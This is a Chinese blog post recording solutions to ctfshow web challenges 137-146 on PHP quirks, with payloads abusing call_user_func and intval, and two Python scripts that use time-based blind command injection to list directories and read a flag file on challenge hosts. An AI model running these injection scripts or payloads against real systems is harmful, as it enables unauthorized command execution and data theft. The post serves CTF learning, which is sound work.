您当前的位置: 首页 >  php

九枕

暂无认证

  • 1浏览

    0关注

    42博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow学习记录-web入门(php特性137-146)

九枕 发布时间:2022-08-01 15:30:00 ,浏览量:1

目录
    • web137
    • web138
    • web139
    • web140
    • web141
    • web142
    • web143
    • web144
    • web145-146

web137

解答:需要调用ctfshow类里的getFlag方法。 call_user_func() 在这里插入图片描述

payload-post:ctfshow=ctfshow::getFlag

web138

解答:限制了冒号,上题的函数截图里还有一个方法,就是通过数组传递。 payload-post:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

解答:利用web136的方法不行,没有写入权限了。 ?c=ls;sleep 3确实等待了一会,可以执行,没有回显,命令盲注。 这个命令盲注就比较麻烦,因为限制了一些特殊字符,所以盲注的payload也需要注意。

反引号–把命令的返回值放到if判断里。

if [ `ls / -1|awk 'NR==1'|cut -c {} ` = b ];then sleep 2;fi

字符可以不加双引号。-和_会有异常情况,所以可以加上双引号

wp两个命令盲注脚本 1)ls根目录:

import requests
import time
import string
str=string.ascii_letters+string.digits+'_~'
result=""
for i in range(1,10):#行
    key=0
    for j in range(1,15):#列
        if key==1:
            break
        for n in str:
        	#awk 'NR=={0}'逐行输出获取
        	#cut -c {1} 截取单个字符
            payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
            #print(payload)
            url="http://873b2081-3b04-4517-a10d-dcb44382c44c.challenge.ctf.show/?c="+payload
            try:
                requests.get(url,timeout=(2.5,2.5))
            except:
                result=result+n
                print(result)
                break
            if n=='~':
                key=1
                result+=" "
#找到flag:/f149_15_h3r3

在这里插入图片描述

2)获取flag。

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
        #print(payload)
        url="http://b76bf2c7-70e7-401f-a490-f5963e74b581.challenge.ctf.show/?c="+payload
        try:
            requests.get(url,timeout=(2.5,2.5))
        except:
            result=result+n
            print(result)
            break
web140

解答:根据代码可知,f1和f2必须是字母和数字。if判断是弱等于,需要intval($code)的值为0。

intval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。 字符串有可能返回 0,取决于字符串最左侧的字符。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

所以需要$f1($f2());的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。

payload1: system(system())—> f1=system&f2=system

string system( string $command[, int &$return_var] ):成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。

payload2: usleep(usleep())—> f1=usleep&f2=usleep usleep没有返回值。 所以intval参数为空,失败返回0

payload3: getdate(getdate())—> f1=getdate&f2=getdate

array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)—>失败返回flase,intval为0。

web141

解答: \W:与任何非单词字符匹配。就是除了数字、字母、下划线。等价于[^A-Za-z0-9_]

[^xyz]:一个否定的字符集

这里可以测试一下: 在这里插入图片描述 v1和v2要求是数字,v3我们就需要构造函数了。

1)这里先看一下三者组合到一起会不会影响函数执行。

php里数字可以和命令可以进行运算。也就是说v3里要执行的函数前后加上运算符即可。

举例理解一下:1-phpinfo()-1的结果为0,phpinfo()执行成功返回true,1-1-1=-1。

同理system()也可执行。具体可参照前面题目里的弱类型比较。 在这里插入图片描述

在之前的刷题中,有遇到过变量传递函数名、类名的,比如web109里的$v1($v2());,所以函数名也可以用如('phpinfo')来表示。 在这里插入图片描述

2)接下来就可以构造字符了,也可以手动构造。

这里把web71的rce_or的php代码修改一下,就能用。 生成rce_or.txt文件。

            
关注
打赏
1662624000
查看更多评论
0.0489s